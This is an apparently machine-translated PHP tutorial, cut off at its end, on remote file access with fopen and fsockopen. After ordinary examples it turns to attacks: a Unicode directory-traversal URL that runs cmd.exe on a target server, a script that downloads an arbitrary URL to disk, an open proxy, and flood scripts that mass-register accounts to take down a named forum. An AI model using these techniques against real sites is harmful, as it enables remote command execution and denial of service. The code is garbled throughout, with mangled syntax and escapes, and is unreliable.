I. Introduction
If the allow_url_fopen option is activated in the PHP. ini file, you can use HTTP and ftp url to replace the file name in most functions that require the file name as a parameter. You can also use a URL in include (), include_once (), require (), and require_once () statements. For more information about the protocols supported by PHP, see Appendix J.
Note: To use URL in PHP 4.0.3 and later versions, you need to use the -- enable-URL-fopen-wrapper parameter to configure PHP. Before windows PHP 4.3, remote access to the following functions is not supported: Include (), include_once (), require (), require_once (), and XLI, the imagecreatefromxxx function in the image function library extension library.
For example, you can use the following example to open files on a remote web server, parse the output data you need, and then use the data for database retrieval, or simply output it to the style matching of the remaining content on your website.
Example X. fopen ()
<? PHP
$ Handle = fopen ("/home/Rasmus/file.txt", "R ");
$ Handle = fopen ("/home/Rasmus/file.gif", "WB ");
$ Handle = fopen ("http://www.example.com/", "R ");
$ Handle = fopen ("ftp: // User: password@example.com/somefile.txt", "W ");
?>
Example X. Obtain the remote file title
<? PHP
$ File = fopen ("http://www.example.com/", "R ");
If (! $ File ){
Echo "<p> unable to open Remote File./N ";
Exit;
}
While (! Feof ($ file )){
$ Line = fgets ($ file, 1024 );
/* This only works if the title and Its tags are on one line */
If (eregi ("<title> (. *) </title>", $ line, $ out )){
$ Title = $ out [1];
Break;
}
}
Fclose ($ file );
?>
If you have established a link with an FTP server as a user with valid access permissions, you can also write to the file on the FTP server. You can only use this method to create a new file. If you try to overwrite an existing file, the call of the fopen () function will fail.
To connect to the server with a user name other than "anonymous", You need to specify the user name (or even password), such as "ftp: // User: password@ftp.example.com/path/to/File ". (If you need basic identity authentication when accessing a remote file through the HTTP protocol, you can also use the syntax .)
Example X. Remote Server Data Storage
<? PHP
$ File = fopen ("ftp://ftp.example.com/incoming/outputfile", "W ");
If (! $ File ){
Echo "<p> unable to open Remote File for writing./N ";
Exit;
}
/* Write the data here .*/
Fputs ($ file, $ _ server ['HTTP _ user_agent ']. "/N ");
Fclose ($ file );
?>
Note: You may be inspired by the above example to use this technology to store remote log files. However, as mentioned above, you can only perform write operations on the new file in the URL opened in fopen () mode. If the remote file already has the fopen () function, the Operation will fail. To perform similar distributed log operations, you can refer to the syslog () function.
In the following content, I will describe the application of this function with more instances.
Ii. Post & get applications in PHP
To use PHP Post & get, you can use the fsockopen function:
Example 1. fsockopen () Example
<? PHP
$ Fp = fsockopen ("www.example.com", 80, $ errno, $ errstr, 30 );
If (! $ FP ){
Echo "$ errstr ($ errno) <br/>/N ";
} Else {
$ Out = "Get/HTTP/1.1/R/N ";
$ Out. = "Host: example.com/r/n ";
$ Out. = "connection: Close/R/n/R/N ";
Fputs ($ FP, $ out );
While (! Feof ($ FP )){
Echo fgets ($ FP, 128 );
}
Fclose ($ FP );
}
?>
Example 2. Using UDP connection
<? PHP
$ Fp = fsockopen ("UDP: // 127.0.0.1", 13, $ errno, $ errstr );
If (! $ FP ){
Echo "error: $ errno-$ errstr <br/>/N ";
} Else {
Fwrite ($ FP, "/N ");
Echo fread ($ FP, 26 );
Fclose ($ FP );
}
?>
Example 3
<? PHP
// Define some connection Parameters
$ URLs = array (
'Host' => 'localhost ',
'Port' => 80,
'Path' => '/index. php ',
'Method' => 'post ',
'Protocol' => '1. 0 ',
);
// Parameters passed by the post Method
$ PS = array (
'Language' => 'php ',
'Linux '=> 'redhat ',
);
// Parameters passed by the get Method
$ GS = array (
'Php' => 5,
'Redhat' => 9
);
/**
Return: string returned after the post or get method is obtained)
Parameters:
$ Usls: String
$ PS: Array
$ GS: Array
Call method:
Getdata ($ URLs, $ ps, '') // use the post Method
Getdata ($ URLs, '', $ GS) // use the get Method
References: http://cn.php.net/manual/en/function.fsockopen.php
*/
Function getdata ($ URLs, $ PS = '', $ GS = ''){
$ Host = $ URLs ['host'];
$ Port = $ URLs ['Port'];
$ Path = $ URLs ['path'];
$ Method = $ URLs ['method'];
$ Protocol = $ URLs ['protocol'];
$ Posts = '';
$ Gets = '';
If (is_array ($ PS )){
Foreach ($ PS as $ k => $ v ){
$ Posts. = urlencode ($ K). "=". urlencode ($ V ).'&';
}
$ Posts = substr ($ posts, 0,-1 );
$ Len = strlen ($ posts );
}
If (is_array ($ GS )){
Foreach ($ Gs as $ k => $ v ){
$ Gets. = urlencode ($ K). "=". urlencode ($ V ).'&';
}
$ Gets = substr ($ gets, 0,-1 );
}
$ Fp = fsockopen ($ host, $ port, $ errno, $ errstr, 3 );
If (! $ FP ){
Echo "can't connect.../R/n <br> error: $ errstr ";
Return;
}
Fputs ($ FP, "$ method $ path? $ Gets HTTP/$ protocol/R/N ");
Fputs ($ FP, "Host: localhost/R/N ");
If ($ posts! = ''){
Fputs ($ FP, "Content-Type: Application/X-WWW-form-urlencoded/R/N ");
Fputs ($ FP, "Content-Length: $ Len/R/N ");
Fputs ($ FP, "/R/N ");
Fputs ($ FP, $ posts );
}
Fputs ($ FP, "connection: Close/R/n/R/N ");
$ S = '';
Do {
$ DATA = fgets ($ FP, 1024 );
If ($ DATA = ''){
Break;
}
$ S. = $ data;
} While (true );
Fclose ($ FP );
Return $ S;
}
// Here is the string returned by the target Webpage Through the POST method.
Echo getdata ($ URLs, $ ps ,'');
// If you want to use the get method, use the following method:
Echo getdata ($ URLs, '', $ GS );
?>
Iii. Unicode vulnerability attacks
Code:
<? PHP
$ Fp = @ fopen ($ URL, "R") or die ("cannot open $ URL ");
While ($ line = @ fgets ($ FP, 1024 )){
$ Contents. = $ line;
}
Echo $ contents; // display the File Content
Fclose ($ FP); // close the file
?>
Usage:
/Xxxx. php? Url = http: // target/script/.. % C1 % 1C ../winnt/system32/cmd.exe? /C + dir
Iv. Inter-Web file transfer:
The code in this example is derived from PhP flame:
<? PHP
$ Fp = fopen ($ _ Get ['filename'], 'rb ');
$ DATA = $ TMP = '';
While (true ){
$ TMP = fgets ($ FP, 1024 );
If (0 === strlen ($ TMP )){
Break;
}
$ Data. = $ TMP;
}
Fclose ($ FP );
$ File = preg_replace ("/^. + //", "", $ filename );
// Write
$ Fp = fopen ("$ file", 'wb ');
Fwrite ($ FP, $ data );
Fclose ($ FP );
?>
5. HTTP proxy (http://jsw.china12e.com/600)
The code is derived from PhP flame:
<?
$ Url = getenv ("QUERY_STRING ");
If (! Ereg ("^ HTTP", $ URL ))
{
Echo "Example: <br> XXX. php? Http://jsw.china12e.com/<br> ";
Exit;
}
If ($ URL)
$ Url = str_replace ("//", "/", $ URL );
$ F = @ fopen ($ URL, "R ");
$ A = "";
If ($ F)
{
While (! Feof ($ F ))
$ A. = @ fread ($ F, 8000 );
Fclose ($ F );
}
$ Rooturl = preg_replace ("/(. + //) (. *)/I", "// 1", $ URL );
$ A = preg_replace ("/(SRC [[: Space:] * = ['/"]) ([^ h]. *?) /Is "," // 1 $ rooturl // 2 ", $ );
$ A = preg_replace ("/(SRC [[: Space:] * =) ([^ H'/"]. *?) /Is "," // 1 $ rooturl // 2 ", $ );
$ A = preg_replace ("/(action [[: Space:] * = ['/"]) ([^ h]. *?) /Is "," // 1 $ php_self? $ Rooturl // 2 ", $ );
$ A = preg_replace ("/(action [[: Space:] * =) ([^ H'/"]. *?) /Is "," // 1 $ php_self? $ Rooturl // 2 ", $ );
$ A = preg_replace ("/(<A. +? Href [[: Space:] * = ['/"]) ([^ h]. *?) /Is "," // 1 $ php_self? $ Rooturl // 2 ", $ );
$ A = preg_replace ("/(<A. +? Href [[: Space:] * = [^ '/"]) ([^ h]. *?) /Is "," // 1 $ php_self? $ Rooturl // 2 ", $ );
$ A = preg_replace ("/(link. +? Href [[: Space:] * = [^ '/"]) (. *?) /Is "," // 1 $ rooturl // 2 ", $ );
$ A = preg_replace ("/(link. +? Href [[: Space:] * = ['/"]) (. *?) /Is "," // 1 $ rooturl // 2 ", $ );
Echo $;
?>
Vi. Blocking DDoS attacks
An example of DDoS attacks
<? PHP
$ Url = "http://bbs.icehack.com/register.php? Step = 2 & addpassword = aaaaaa & addpassword2 = aaaaaa & addemail = asdfasd@dfsadsf.com & addusername = ";
For ($ I = 1131; $ I <= 1150; $ I ++)
{
$ URLs = $ URL. $ I;
$ F = @ fopen ($ URLs, "R ");
$ A = @ fread ($ F, 10 );
Fclose ($ F );
}
?>
20 new users will be added to the Forum after running
(Example: http://bbs.icehack.com/userlist.php? Page = 827)
When you use it for Forum search
DDoS attacks are achieved.
When the following code attacks the index. php file and runs ten processes simultaneously, the Forum may shut down
<? PHP
$ Url = "http://bbs.icehack.com/index.php? Addusername = ";
For ($ I = 1131; $ I <= 1180; $ I ++)
{
$ URLs = $ URL. $ I;
$ F = @ fopen ($ URLs, "R ");
$ A = @ fread ($ F, 10 );
Fclose ($ F );
}
?>
7. SQL injection attacks and search engines ..